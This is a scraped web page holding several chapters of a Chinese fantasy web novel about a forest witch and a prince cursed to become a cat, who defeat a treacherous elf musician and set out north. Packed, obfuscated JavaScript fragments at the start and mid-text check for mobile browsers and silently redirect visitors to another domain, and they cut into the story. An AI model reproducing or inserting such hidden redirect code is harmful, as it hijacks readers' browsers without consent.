d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16435422|181872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向艾丹冲去,精灵乐师却灵巧地一钻,暂时躲过,轻轻抬起手,手里是一张纸。 起先,她以为那是文字传输用的信纸。 “我要是你,就不会这么冲动,阿什。” 阿什琳一阵反胃。 “别叫我阿什。”接着她看清了那张纸,上面没有字,而是一幅画,“等等,那是……” “是的。”艾丹开心地笑了,“又是我们不守规矩的劳瑞尔的作品之一。” 他又离得近了点儿,阿什琳这下看得更清楚了:他手里拿的,正是那天阿什琳在劳瑞尔的画室中看到的速写。 卢卡斯的速写。 画中的他在主殿中向梅莉娅承诺会献上礼物,自信而优雅。 “不会吧,”卢卡斯是他们三人中最惊讶的,“这是我?” 阿什琳不耐烦地摆摆手,此时她唯一的愿望就是尽快用植物把这个乐师勒死。 “一幅卢卡斯的画罢了。你想说什么?” “不只是画。”艾丹说,“如果我没猜错的话,卢卡斯·德维尔……你今年刚好要十七岁了,是不是?” “那又如何?”卢卡斯问道,随后眉头一紧,“不,你不会是在暗示……但是艺术与年龄的关系只是精灵的规矩,人类不受影响。” “那你就错了。自从你们踏进伊洛文亚,就一直受到精灵魔法的影响。对精灵来说,七十岁前的灵魂尚未成型;而对人类来说……”他微微一笑,“这个数字就可能变成了七岁,又或者,十七岁。卢卡斯的灵魂可能已经稳定了,也有可能即将稳定,就差那么一点儿——谁知道呢?你们敢冒这个风险吗?倘若我现在撕毁这张画,你们又怎么确定,卢卡斯会不会有一部分灵魂出现问题?” 阿什琳感觉太阳穴突突直跳。 她怎么也没想到,艾丹竟然会用劳瑞尔一时兴起给卢卡斯画的速写对付他们。 的确,他们无法确定他所言真假。历史上有哪个人类在精灵谷时灵魂被数字七影响了吗? 她看了看卢卡斯,他似乎也十分迷茫,一个劲盯着自己的速写看,好像很不习惯在别的地方看到自己的脸一样。 这回他们不能再比速度了;在阿什琳的藤蔓攻击之前,艾丹就可以撕碎卢卡斯的速写。 “没错,”艾丹满意道,“放下魔法,不然我就撕掉他的灵魂!” 就在这时,卢卡斯却动作放松起来,悠闲地点了点头。 “好啊,你撕吧。”他以谈论天气的口吻说。 阿什琳惊讶地转过头:“什么?” 艾丹则眯起眼睛。 “你确定?” 卢卡斯对阿什琳说:“直接束缚他,阿什琳,别犹豫。” 她正要奇怪这是怎么回事,他冲她挤了挤眼,口型说了一个词: 莎草。 然后又坚定地看向自己的速写。 阿什琳不到一秒就心领神会。 卢卡斯的速写用的不是羊皮纸。 是莎草纸。 莎草纸的原材料是莎草的内茎,也是植物的一部分。 就算艾丹撕掉速写后,卢卡斯的灵魂出了事,阿什琳也能将速写复原。 于是,所有事情都在同一时刻发生。 阿什琳的魔法狂野地喷涌而出。刺啦一声,艾丹狠狠地将画纸一撕。常青藤捆住了精灵大乐师,画上卢卡斯破碎的脸轻轻飘落。 真正的卢卡斯大叫一声,面色变得惨白。 “怎么了?你还好吗?”阿什琳将艾丹身上的藤蔓抽紧,魔笛塞进空间背包,回头看向人类王子。 “我很好!”他的声音听起来完全不像他自己,“只不过——天啊,太可怕了!” “什么可怕?”阿什琳摸不着头脑。 卢卡斯夸张地挥舞双臂,示意周围整个环境。 “一切都太可怕了!我受不了了——快带我离开这儿!”他称得上是泪眼盈盈,“我不能再失去你了,阿什琳!” 阿什琳瞪着他,好像在观看灾难现场。 这,是她迄今为止见过的最恐怖的画面之一。 他睁大蓝色的眼睛,眉毛向上斜,恳切地望着她,简直硬生生地从猫类转为了狗。 绝不是卢卡斯本人。 37.猫耳少年 一时间,阿什琳不知道自己该不该放声大笑。 “看来我是对的,”艾丹被绑着还是很淡定,一副看戏的模样,“卢卡斯的灵魂也没成型呢。劳瑞尔的神来之笔抓住了他的从容,现在他的所有冷静都消失了。 “有意思!如果你抹去一个人灵魂中的某些特质——甚至是重要特质,那么他还是原来这个人吗?如何定义这个范围呢?” 卢卡斯看起来的确像要哭了,可怜兮兮的。现在他开始疯狂兜圈子,躁动不安。 阿什琳赶紧集中精神到速写的碎片上,复原。她在心中默念。 碎片颤颤悠悠地升到空中,好像很害怕,尝试着黏在一起,结果一碰到对方又闪电般散开了,七零八落地回到地上。 “这是什么?”卢卡斯惊恐地问,“这些纸片会杀了我们的,阿什琳!” 他扯住她的衣角,如果他现在有尾巴,肯定会摇摆起来。 阿什琳真希望自己有什么东西能够记录王子殿下的这一刻。 “好了,乖。”她拍拍他的头,“我这就消灭碎片。” 她重新将注意力汇聚在纸片上:“我说,复原!” 碎片们一惊,匆匆忙忙地排好顺序,像一列士兵。阿什琳抬起手,绿光终于令它们黏在一起。 “好点儿了吗,殿下?”她问道。 卢卡斯的身体猛地一晃,他扶上桌子稳住自己,揉了揉眼睛,看向别处,似乎有些尴尬。 “好多了。刚才的事就当没发生,谢谢。” “不客气,我会永远在内心深处帮你记住这一幕的。”阿什琳说。 卢卡斯装模作样地检查起艾丹的桌子,就像一只跳墙失败的猫。现在和她之前认识的那个人(或猫)没有任何区别了。 “好消息,没有文字传输信纸。咱们来的很是及时。” “诺克斯会知道的,”艾丹说,阿什琳真不知道他哪儿来的自信,“他会回来救我。一切都还没有结——” “结束了。” 这时,一个声音响起。 艾丹终于收敛笑容。 卢卡斯的身后,站着梅莉娅女王和精灵骑士。 “梅莉娅……” “逮捕他。”梅莉娅面无表情地说。 骑士们押着艾丹离开。梅莉娅瞥了两个人类一眼,没有说话。 夜色中,只剩下他们两个。 望着艾丹远去的背影,阿什琳感到一阵难过。 不是为艾丹。 先是为梅莉娅。她各种意义上地失去了所有家人,唯一的弟弟也背叛了她。 做一个孤独的永生女王是什么感受?她无法想象。 而接着又为她自己。 她曾花了那么多时间去喜欢这个精灵的音乐,她曾真的把自己的心灵托付给那些旋律。 可经历了这些之后,她该如何再看待那些乐谱,那些曲调呢?当她再一次听到《树妖与少年》,会不会永远失去过去的快乐呢? 她痛恨艾丹,痛恨他把自己喜欢的东西变成一种恶心的回忆。 她小时候向往的外面的世界,的确充满绚烂的魔法,可现在她终于清晰地明白:黑暗与其共生,而她与这些黑暗愈来愈近。这和她想的并不完全重合。 在她的幻想里,旅途永远都是自由且浪漫的。 在龙息山时,一切都还不一样。龙晶石洞窟只要直面恐惧就能破解。龙与人类、精灵一般是智慧的种族,只是被世人误解,小龙爱苏萨不过是个缺爱的宝宝。 在那里,纯净的魔法依然有效,共鸣的情感还能拯救。 可一向美丽高贵又纯洁的精灵,却也会被迷宫的黑魔法蛊惑,而他们竟然掉以轻心。 当她看不清真相,看不出阴影时,她的那些感情又有什么用呢? 要是她从一开始就敏锐地关注到艾丹的异常,要是她不那么神经大条,被自己的偶像蒙蔽双眼……塔拉或许能活下来,神橡树也不会这么突然地死去。 她已经强大到能够独自面对远比龙要恐怖得多的东西了么? 阿什琳不能肯定。 或许,要不是卢卡斯,她现在已经是个什么都忘了的傻子了。 “总得来说是好结局,对吧?”这时,卢卡斯故作轻松地说,声音和刚才一样有点儿紧张,阿什琳猜这也是他内疚的一部分,“除了对那棵树来说,它现在可真是件暗黑风艺术品。” 阿什琳白了他一眼。 她望着那张苍白、疲倦、不安的脸,思索究竟是该打他一拳,还是给他一个拥抱。 “不合时宜?”他局促地问,“我的意思是,大家都活着。除了树。不,还除了塔拉。不对,我在说什么?” 他突然显得不那么会说话了,一点也不像赫利安城的王子,就是一个普通的青少年。 第一次见到卢卡斯时,他刚刚病好,在床上拥抱母亲,给了阿什琳一个虚弱但温柔的笑容。当时他那双蓝眼睛显得那么那么遥远,那么梦幻,就算他们身处同一室,却完全是两个世界的人。 现在,他却比以往任何时候都令阿什琳感觉他是个活生生的人。 之前她也对卢卡斯强调过,身份与阶级对她来说不是成为朋友的栅栏。的确,她没有说谎:她关心他不是因为他的身份,而是因为他本身。 可直至这一瞬,她才蓦然察觉,内心深处,无论朋友与否,他一直是一个“王子”——一个与她的生活截然不同的人,一个除了被迫而行的旅伴外再无关联的人,一个活在人们的低语中、活在泛黄的书页里、活在河湾少女幻想中的人。猫的意外拉近了他们之间的距离,除此之外再无其他。 当然,作为贵族,他和阿什琳以前在河湾村认识那些男孩都不一样。那些孩子只会嘲笑她,拿她开女巫的玩笑,在她的神学课本里放毛毛虫,或者趁她午睡时剪掉她的头发。 相比之下,卢卡斯高贵文雅,又带着点可爱的恼人。这很不错,但并不意味着什么,只能说明他成长环境优渥。若非那场荒谬的治疗意外,他们甚至永远都不会有交集。她会一直在狐尾河湾跟着萨诺瓦学习、做草药,而他也会在宫廷当一个越来越尊贵的皇室成员。 此时,他们却呼吸着同样的空气。他的慌张,反而令她爽朗起来。 倏然间,她觉得他们两个中有什么东西悄然变化,可她说不清是什么。那是一种极其轻微和浅淡的感受,几乎可以不计。 他们目光交汇,他漂亮的眼睛和最初一样蓝,却比任何时候都要生动。 她听到自己的心欢喜地跳了起来,但她的心明明从来没有停止过跳动。 卢卡斯叹了一口气,不安地把头发顺到后头,移开目光。 “对不起。忽略我吧,阿——贝利小姐。我这就安排皇室来接 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他们初遇时她还担心冲王子做鬼脸不合时宜,其实王子也会做鬼脸。 “那可真是一大笔钱啊,父王说不定会就此对我改观呢。”他忐忑地看了阿什琳一眼,“嗯,说到父王,我绝不会让他知道你施咒失误的事的,我之前说的那些关于他会以为你谋害王子什么的鬼话你就统统当没说过。咱们明天分开之后,你也不要和其他人透露黑巫师的事,不然传到父王那里,你们巫师都要遭殃。” “等等,”阿什琳又好气又好笑,“分开?你不会真以为我会让你一个人上路吧,一只猫怎么可能给自己解咒?” “呃,你的确没有反驳啊。” 阿什琳没忍住,还是在他肩上给了他一拳,在没受伤的那侧。 “嘿!” “有一件事你没说错。”阿什琳叹了一口气,“我想我的确对冒险有点……乐在其中了。当然,不代表我喜欢三头犬、黑暗迷宫和黑巫师。我只是指这种新奇的体验本身。 “我一辈子都住在狐尾河湾,那儿的景色和故事都有限,当我离开后才发现这个世界究竟有多大。你是王子,我不指望你能理解……” “实际上,我相当理解。”卢卡斯轻声道,“我也是。” 阿什琳抬起眉毛。 “你?” 卢卡斯摊开手。 “谁小时候没做过梦?我以前想过当海盗,当吟游诗人,还有当游侠。后来我发现我其实只能当王子,挺扫兴的——我既无法成为受人尊敬的国王,也不能做自己喜欢的事。” 说这话时,阿什琳注意到卢卡斯身上发生了某些变化。 她震惊地后退两步,瞪大眼睛。 卢卡斯误会了她的举动。 “好吧,我又说太多了。你是对的,我太自私了,不该说这么多自己的事——” “不是的,卢卡斯,”阿什琳摇摇头,“你……摸摸你的头顶。” “我的头顶?”他困惑地伸出手,摸到那东西后,脸色骤然一变,“不会是我想的那样吧。” 他凌乱的黑发上,多出来两只黑色的猫耳朵。 毛绒绒的。 38.诅咒加深 阿什琳坏笑起来,在他反应过来之前迅速摸了几下,手感极佳。 卢卡斯像真正的猫一样弹跳起来,猫耳贴向后面,手把黑发顺到人耳后。 现在他有四只耳朵了,简直和兽人一样。四只耳朵的听力是怎么运作的?要是现在她大喊大叫,会不会把卢卡斯吵到耳聋? “你干什么?!” “好了,扯平了。”阿什琳庄重地说,“卢卡斯·德维尔,我郑重宣布,你我之间的往事一笔勾销。” 接着,她注意到他身后也有东西在动。 “你在看什么?”卢卡斯怀疑地问,“就像我长了条尾巴似的。” 阿什琳做了深呼吸,纯粹是防止漏出大笑。 “嗯,这是你目前为止说过的最聪明的话了。” 卢卡斯僵硬着,缓缓地将手伸向身后,意识到自己摸到什么之后,猫耳向头发贴得更紧了。 一条猫尾巴。 “神啊。”他愁容满面,“我亲爱的女巫小姐,你确定自己不小心诅咒时没有加入什么个人恶趣味?” “我庄严发誓完全没有。”阿什琳严肃地说。 但这严肃没能持续太长时间,空气都被她剧烈的大笑吓得一抖。她笑到肚子疼,好不容易喘过气后,扶着腰起身,新奇地拽了拽那条尾巴。 卢卡斯无奈地看着她。 “对对对,很好玩。”他敷衍道,“你有什么解决方案能缓解该症状,大魔法师?” “让我想想——啊,一起去北方去拿到兽人花环,怎么样?你瞧,现在你也变成兽人的样子了,前往兽人领地再合适不过。” “真是天才。我怎么就没想到呢?” 然而话音刚落,他的猫耳朵却不受控制地胡乱抖动起来。他整个猫人一机灵,扶住身后的墙。 “完蛋了,”他悲观地说,“森林女神的话已经开始奏效!我就要——” 他话还没说完,突然变成了真正的黑猫。 “变成猫。”他用猫语补充。 可现在依然是晚上,距离太阳升起还有好几个小时。 “天哪,我不会就这样变不回来了吧!”他恐惧地踱步,“是不是没过多久我也就失去思考能力了?” “别担心,可能这只是个意外,毕竟刚才你灵魂的一部分都被撕碎了,明天可能就会恢复。” 卢卡斯不是很信服:“希望如此。” 阿什琳向他保证:“解决伊洛文亚的事后我们立马就出发。我不会再随便和路人跳舞浪费时间了,我发誓。” “你想干什么就干什么。”卢卡斯很快地说,“我无权干涉。现在没有谁欠谁任何事。当然,我还是建议你下次挑一个更风趣的舞伴,这个太乏味了。” “是吗?大乐师作为黑魔法幕后主使依然算‘乏味’?” “反正没有某只猫有趣。” 阿什琳假装认真地思考了一会儿。“嗯,那肯定不是你。” 他们一同大笑起来,笑声被秋日的晚风卷到很远的地方,比音乐更加悠扬。 远处,不知从哪,传来优美的琴声。 可能是想要接着假面舞会跳舞的精灵,可能是熬夜练习的乐师学徒,也可能……完全不重要。 阿什琳下定决心,不能让艾丹毁掉她对音乐的美好回忆。当她听到那些音乐时,它们就是属于她的了。 一个疯子乐师不能改变任何她的热爱,她还是她,音乐还是音乐,魔法也还是魔法。 就让她那猫毛过敏的偶像一边凉快去吧。 ———— 最近缺的觉实在太多,阿什琳直到中午才起床。这本来就是她在狐尾河湾时的习惯,因为萨诺瓦起得比她还晚。 许久以来的第一次,她整夜无梦。 萨诺瓦也给她回了信,不过比之前都要短,字迹清晰了许多,可能他终于开始学习书法了。 亲爱的阿什琳: 真是抱歉,我竟然忘了信纸在哪里,方才收拾房间才看到你的消息。很高兴告诉你,我的身体非常好。 不知道晚会是否顺利?恕我对精灵的艺术魔法了解甚少,爱莫能助。 对于你的父母,我只能猜测,森林之血是从母亲传向女儿,你的母亲大概也是一位森林女巫。然而你也知道,他们生活在禁魔时代,很可能遭受猎巫运动迫害,在逃亡途中将你藏至森林。 至于“驻西饮泪”,我的确在这段时间翻找了不少关于泪水的传说,有一个故事引起了我的兴趣:几百年前,曾有一个名叫费尔南多的游侠,用自己的泪水博得了月亮的同情。 然而这是个模糊不清的故事——甚至难以称得上为故事。它有上百种版本,毫无寓意与逻辑。唯一有价值的地方恐怕就在于,泪水是与月神相关的。费尔南多的身份也颇有争议。 最近我在忙着处理河湾村的一些疾病,有点棘手,如果你们想进一步调查,我建议你们去王城的图书馆查找资料。 最后,空间剪刀,你只用在上面用炭笔画几个符文,我在信纸背面已经为你画好。 祝你一切顺利! 爱你的, 萨诺瓦 阿什琳按照萨诺瓦的指示,给空间剪刀画上符文,这下她可以从家中自己的桌子上拿东西了。 当然,空间剪刀并非万能,她只能摸到自己的桌子,找几张纸笔什么的。其实她压根不记得走之前的桌子上有什么,但像她这样的记忆力,给空间剪刀充点能量总归有备无患。 她打开窗户,山雀可爱地叫着。伊洛文亚的阳光洒在脸上时,她感到一阵留恋。 在经历了这么多后,伊洛文亚的美丽没有丝毫减退,神橡树的死亡没有完全挫败精灵的灵感与气势,而艾丹计划的失败,令迷宫的黑魔法止步于橡树之死,无法再进一步。 梅莉娅将艾丹的罪证放给了所有公民,只有他是精灵们仇恨的对象。 实不相瞒,这个精彩的故事还在艺术家中激起了不少火花,劳瑞尔尤其兴奋。 “告诉我所有细节。”前往主殿的路上时,她激动地拿起笔记本,从头发里取出一根炭笔,“两个男孩为你大打出手了吗?你在音乐里看到了什么?艾丹的表情是什么样的?” “第一,当然没有!第二,其实我不记得了,因为后来遗忘药水发挥了作用。至于第三……”阿什琳一笑,“你可以去地牢亲自拜访他。不过劳瑞尔,还有件事我要拜托你。” “没问题。但你也别太 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阿什琳扬起眉毛:“这么说你现在住在我的作品里,公主?” “可以这么理解。” “我有任务交给你,”阿什琳认真地说,“希达,神橡树已经死去,但精灵的魔法与艺术依然活着。它们需要一样神橡树这样的象征物来支撑,作为……精神支柱。我希望你能让你的雕像成为这样东西,和曾经的神橡树那样,守护伊洛文亚。你能做到吗?” 希达久久凝视着她,点了点头。 “我想我可以。” 语毕,他们两个都开始发光,直到绿色和白色的光充盈着整个空间,最终涨破,将阿什琳送回现实。 希达的藤蔓雕像里,光芒若隐若现,既不像先前与她灵魂对话是那样如同灯笼,也不像她沉睡后那般死寂,而是陷入某种平衡之态。只要有重要的精灵呼唤,她就可以随时醒来。 “你做得很好。”梅莉娅的声音从阿什琳身后传来。 精灵女王看起来和阿什琳初见那次别无二致,只是更加疲惫了。然而就这样疲惫的脸上,竟勉强扯出一个微笑。 “我很抱歉。”阿什琳下意识地说。 “为了什么?” “为你的失去。克里夫、希达、艾丹……他们都是你的家人。” 梅莉娅目光游离。 “是啊。但身为女王,恐怕还有比一味哀悼失去重要得多的事情。死神赐予我礼物,只是为了让永生者瞥见灵界一角,更加珍惜现生。” 她们就这样在希达的雕像面前站着,直到落日最后的余晖隐没西山。 金红色的光勾勒着伊洛文亚那些曲线型建筑的边缘,仿佛一道开始灵验的魔咒。 阿什琳推开卢卡斯的房门,然后才意识到自己忘了敲门,于是又退回去敲了几下。 “卢卡斯,是我。是时候出发啦——” 她止住话头。 阳光已经完全消失了,但房间里的,依然是一只黑猫。 “我想,昨天晚上的突变不是意外。”黑猫沮丧地说,“诅咒真的加深了。” 39.阵阵呼噜 兽人森林位于偏远的北境,伊洛文亚已算是离得最近的魔法国度——除了矮人矿城外。传说矮人也住在北方,但他们不怎么露面,地图上压根没有画矮人矿城的位置。 阿什琳对这些狄亚斯境外的魔法生物了解都少之又少,实际上,精灵算是她最了解的一种——毕竟她曾经是某个精灵乐师的粉丝。 萨诺瓦潦草地讲述过,很久很久以前,在黑暗女巫辛西娅兴风作浪、分裂大陆之前,大陆曾拥有一个统一的名字:埃忒里翁。现在已经没有人会这么叫了。那时狄亚斯只是埃忒里翁一个不起眼的人类城邦,是埃忒里翁的众多城邦之一。那个时代被称作黄金时代,人类与魔法生物的关系还没有这么遥远,狄亚斯与精灵谷、兽人部落、矮人矿城都有着繁荣的贸易与文化往来。 而魔法,则是不同种族交流的最强纽带。 其实,“魔法生物”这样的叫法是不准确的,因为人类也可以学习魔法,而别的生物也不一定有魔法天赋。这么叫只是因为人类觉得他们需要与其他生物区分开来——在别的种族里,并没有这样的称呼。 小时候,阿什琳并不认为自己“有天赋”,她一直觉得她和其他孩子没什么不同,她掌握的那些魔法都是从萨诺瓦的草药学笔记里学来的。 那些突然长出来的植物,比起神之后裔的天赋爆发,更像是没用的意外。萨诺瓦从没有说过她有天赋,河湾村也没有其他巫师,堂区学校的孩子都不喜欢魔法,而她本人呢,对那些讲魔法的长篇大论的著作从不感冒,所以她也从没在意过。 萨诺瓦虽是桑托里斯的后裔,也因出色的治疗手段鼎鼎有名,但并非宫廷法师,因为他更喜欢狐尾河湾的风景。 “宫廷法师都是玩弄人心、耍把戏的魔术师。”他曾如此评价,“最终他们只是想挤进御前会议的位置,当领主甚至是国王耳边嗡嗡的苍蝇之一。” 阿什琳也许算不上什么学霸,但在萨诺瓦那不靠谱的教导下,她也清楚,不同种族的魔法特质不完全相同。比如说,人类魔法的基本构成是四大元素,相对而言比较均衡,没有强烈的元素或神明倾向性;精灵是公认的魔法天赋较高的种族,他们的魔法与艺术密不可分;矮人的魔法扎根于与矿石与土地,与机械融为一体,但作为无神论者,他们的魔力并不强大,很少有出名的矮人法师;崇尚武力的兽人,则是魔法最薄弱的,只有兽人祭司才有魔法,普通兽人都没有。他们的魔法,主要来源于对原始森林的崇拜, 这也是为什么阿什琳对他们接下来的旅程充满期待。 精灵们已经相当热爱森林女神了,兽人对森林的狂热则更是深之又深。以前阿什琳从没细想过这件事,但现在她是森林之子,血管中流淌着真正的森林的魔血。和毛绒绒的兽人们打成一片,想必不是什么难事。 这么一想,她有点飘飘然。想象一下所有兽人都摇着尾巴围着她转吧! 兽人部落在地图的位置很明显,但分为了很多片,大概是不同部落。 这一回,阿什琳和卢卡斯没有龙这么作弊的交通工具了,也不知道爱苏萨和扎克环游世界到了哪里。从伊洛文亚前往兽人森林,就算骑马也至少要一周多的时间。 正当他们在思索如何请求梅莉娅为他们赠与两匹小马(“或者独角兽。”卢卡斯提议)时,一个精灵骑士牵着两匹非常熟悉的马出现了,一只是金棕色,一只是纯白色。 “巧克力和奶油!”阿什琳欣喜地扑上去,抚摸着小棕马的鼻子,巧克力热切回应着她,“哦,我想死你们了!” 她从包里翻出两条苹果干,小马们快乐地吃掉。 “你是怎么找到他们的?”卢卡斯蹭了蹭小白马奶油,问道。 “很容易,”梅莉娅从骑士身后走出来,“我们通过阿什琳精灵斗篷上的魔法追踪到了龙牙村的农场,找到了这两个小家伙。说到你的精灵斗篷——” 她转向阿什琳。 “恐怕它不仅仅是精灵斗篷。实际上,它是融合了精灵纺织魔法与矮人材料的斗篷,我想这就是为什么它能救你一命。 “它本是精灵与矮人为抗击巨龙合作制成,不知怎地传到人类龙战士手中,现在又到了森林之子身上,既救了你的命,也救了伊洛文亚。可以说没有它,恐怕现在精灵谷已经被我那糊涂的弟弟和黑魔法联手污染了。命运就是如此神奇。” 阿什琳本想说,她那弟弟可不止“糊涂”这么简单,可是场合不太对。 她低头望着自己绿色的斗篷,然后下定决心一脱,递给梅莉娅。 “现在它又是属于精灵的了。”阿什琳认真道,“就当是……为了塔拉。如果今后还有三头犬之类的怪兽出现,斗篷会救你们一命。” 梅莉娅睁大眼睛,但还是接过斗篷。 “这是个慷慨的举动,阿什琳·贝利,斗篷可能在日后还会帮助你,你确定要这么做吗?” “相当确定。我想没有魔法衣服我们也可以成功的。” 他们还是从精灵那里得到了相当充沛的补给。杏仁饼干、苹果、奶酪,一把银匕首,以及干净清爽的新衣服——虽然没有魔法,但也足够。卢卡斯甚至得到了一盒小鱼干和河虾米。 “我才不吃这些呢。”起先,他不屑地说。 但阿什琳注意到,一上路他就吃得起劲儿,不到中午虾米就吃光了。 “我要是你,就不会把小零食吃得这么快。”阿什琳说,“想想看,等你好不容易从冒险回到宫里,国王王后和公主却发现你竟然变成了一个胖子——” 卢卡斯差点儿从马背身上翻下来。 “你再说一遍?!” “我说,今天天气真好啊。”阿什琳用手挡住阳光,装出一副欣赏蓝天的模样。 “侮辱王子是可以判叛国罪的。”卢卡斯警告道。 “我很期待,殿下。” 第一个晚上,他们随意在路边找了家客栈住下。卢卡斯本来还心存侥幸,期待夜幕降临能变回人形,结果依旧无事发生。 客栈算比较干净的,人也不多,种族混杂,对女巫的进入没有异议。几个人类商人在麦芽啤酒后讨论生意,一群兽人坐在最靠外的位置掰手腕,有一个狼人,一个豹人和一个鹿头小孩。 老板是个离开矿城的矮人,棕红色的大胡子里塞着面包屑。 “你们要去北境,小女巫?”矮人擦拭着酒杯。 “是的。”阿什琳将金币掏出来,“有什么建议吗,先生?” 矮人哈哈大笑起来,胡子中的面包屑掉了几粒。 “建议?建议就是不要去!尤其在这个年头……寒爪林那边儿混乱得很呐。” “寒爪林?” “就是兽人森林中的一个部落地区,最著名的那个。听说过吧?” 阿什琳摇了摇头。相比起神奇美丽的精灵谷,兽人部落对她而言遥远太多。 “寒爪林是最大的兽人部落聚集点。”卢卡斯用猫语解释,“试炼就是在那里举行的,因为制作花环的祭司也在寒爪林。” “你连寒爪林都没听说过,还妄想去北境,真是个异想天开的小女孩。”矮人嘲笑道,“我听说啊,那儿附近最近出了个怪物,大家都叫它‘雪怪’。” 卢卡斯笑起来,这对猫来说有点儿怪,于是他连忙转化成一声咳嗽。 阿什琳对雪怪有一些模糊的记忆,大概来自童话书。 “据说雪怪有足足四个成年男子那么高,脚掌宽若帆船,身体硬如磐石。现在它肆虐北方的土地,连兽人的首领都打不过它!你可要小心点儿了,孩子。” 卢卡斯两眼一翻。 “就是个民间传说罢了,只有乡巴佬才信。雪怪根本不存在。” 矮人眯起眼:“你的小猫咕噜啥呢?” “他饿了。”阿什琳连忙道,所幸矮人老板听不懂猫语,“我会注意……嗯……绕开雪怪的脚印的。” “那么,订房?” “两个房间。”阿什琳习惯性地说。 矮人扬起眉。 “你是说,你的猫,要单独一间?” “猫凭什么不能要单独一间?”卢卡斯气恼地问。 为了省钱和不引起嫌疑,最终他们只要了一间房。 “很顺利嘛。”阿什琳心满意足地摸了摸黑猫的脑袋。 她这话真是说太早了。 后者一脸嫌弃,尾巴拍得床都要震动。 虽然也称不上享受,但他倒是一点儿也没躲。 阿什琳一边翻阅萨诺瓦的笔记,一边安静地蹂躏了他一会儿,毕竟她可不知道他哪天就又不乐意这么做了。她怀疑,他现在允许她摸,只是因为前两天的争吵。 直到,她听到阵阵呼噜声。 那声音很有规律,令阿什琳想起一连串毫不相干的东西:晒干的被子、烤面包、薄荷。 “你打呼噜了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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绿中泛黄的野草覆盖其上,淡紫和乳白色的鲜花点缀,令人想起葡萄味的奶糖。 木屋前的草药花园里,薄荷、薰衣草、罗勒、艾蒿和迷迭香的味道混在一起,翠绿的月桂树在阳光下泛着金光。 萨诺瓦端着笔记本,仔细观察植物的生长状态,旁边是一个褐色皮肤的女孩,梳着两根乌黑发亮的麻花辫。 “阿什琳!你回来了!”米娅冲她奔来,身后是一只棕色小猎犬,快乐地伸着舌头,“哦,你不知道,你不在的这些日子里发生了多少事!杰里和克劳迪娅在一起了,艾丽把雨果的牙齿打掉了!还有那个面包师的儿子——” 阿什琳直接扑进她怀里。米娅的身体和她记忆中的一样温暖,好像她整个人都被太阳烘烤过。作为面包师的女儿,她身上一直有股黄油面包的香味。 她们从小就认识了。 在狐尾河湾的堂区学校开学第一天,米娅是唯一一个没有嘲笑她的女孩。 “就是她,那个被治疗法师收养的孤儿。”当时,那群孩子指着她窃窃私语,“据说她是魔鬼的孩子。小心!她可能会把你诅咒成癞蛤蟆!” 魔法禁令废除的时间不算太久,人们对巫师依然抱有偏见,更何况是对一个被巫师领养的孤儿。即便狐尾河湾的领主莫里斯大人对魔法的态度在众多领主中已算开明,十岁的阿什琳在堂区学校仍完全不受欢迎。 若不是米娅,她根本不知道该怎么熬过堂区学校的生活。后来,孩子们认识到阿什琳并不像传说中的女巫那样黑暗邪恶后,才逐渐愿意带她一起玩儿;但只有米娅始终如一。 “我丝毫不对雨果的牙齿感到同情。”阿什琳笑嘻嘻地玩弄起米娅的辫子,“还记得他过去是怎么说我的吗?说我是从林子里捡的邪恶女巫,魔鬼的孩子!结果我其实是神的后代,真是打脸,对不对?” 米娅皱起眉。 “神的后代?阿什琳,你在说什么呀?” 阿什琳这才想起她应该还不知道这些。 她望着米娅,这个她从出生起就认识的、姐妹般的好朋友,就连每一颗雀斑的位置她都了如指掌。 此刻她显得如此梦幻,如此遥远,好像轻轻一碰就会随风消散。 这是梦,她终于意识到。 “没什么。”她说。 “天哪!”米娅突然喊起来,“这是怎么回事?” 阿什琳皱起眉。 就算在梦里,米娅的声音也不该像一个男孩……像某个特定的男孩。 接着她睁开眼,发现人类卢卡斯的眼睫毛离她只有三英寸。 40.童话故事 他卷曲的黑发遮住了一点眼睛,即便是如此昏暗的光线也能看出他面色泛红。 原本,他是以猫的形态趴在她枕边睡的,那空间完全足够。可单人间毕竟是单人间,无论如何一张床也睡不下两个人类。 阿什琳想做点什么,比如高声尖叫着把这家伙踹下床,或者以闪电的速度冲出房门。这听起来都是比较正常的反应。 但她突然忘了该怎么发出声音和动弹,只是僵在床上,在寂静之中听他们的心同时怦怦直跳;显然,卢卡斯也是如此。 他依然以先前猫的姿势蜷缩着,手垫着下巴,腿靠拢聚在一起。长长的睫毛下,蓝眼睛直直盯着她,好像她是鬼一般。 几秒钟后,阿什琳终于做出了最糟糕的举动:想要起身,却不小心往前一抬头,额头撞上卢卡斯的。 他俩同时嗷嗷大叫,朝相反的方向退去。 “对不起!”他们一起说,然后阿什琳又重申了一遍,“对不起,卢卡斯,我没把控好方向,我只是——” 接着她才意识到什么。“等等,你变回来了?” 卢卡斯立刻结结巴巴地说:“我——我不知道怎么回事,本来我在做抓鱼的梦,突然醒来就变回来……我很抱歉——太阳神啊,这太不礼貌了,小姐。我是指,阿什琳。” 他揉着额头,连滚带爬地跳下床,结果又被自己的尾巴绊倒在地,同时撞翻一把椅子。丁玲桄榔,椅子倒在桌子上,又碰倒一杯水杯。 “隔壁的!他爹的还让不让人睡了?”隔壁墙后传来一阵咒骂。 卢卡斯窘迫地扶着椅子站起来,装作优雅地拂去衬衫上的毛,把所有头发都撩到耳后。 一瞬间阿什琳感觉十分有趣——她还从来没见过卢卡斯脸这么红、说话这么磕巴。这让他看起来真像个大活人(没有说他以前像死人的意思)。 “你还真是冷静,王子殿下。” “肯定是受你的笨手笨脚影响。”卢卡斯回敬,重新摆好家具。 阿什琳念了一句咒语让蜡烛燃起,这才看清楚他的模样。 他没有完全变回来,头上依然有两只毛绒绒的猫耳朵,屁股后面也有根尾巴不停晃动。 诅咒最神奇的一点就在于它在诅咒对象时竟能保持对方的尊严,比如说卢卡斯从猫变人会穿着衣服,裤子也没有真的因为尾巴而破个洞。 “我得说,我很喜欢你这个造型。”阿什琳厚着脸皮说。 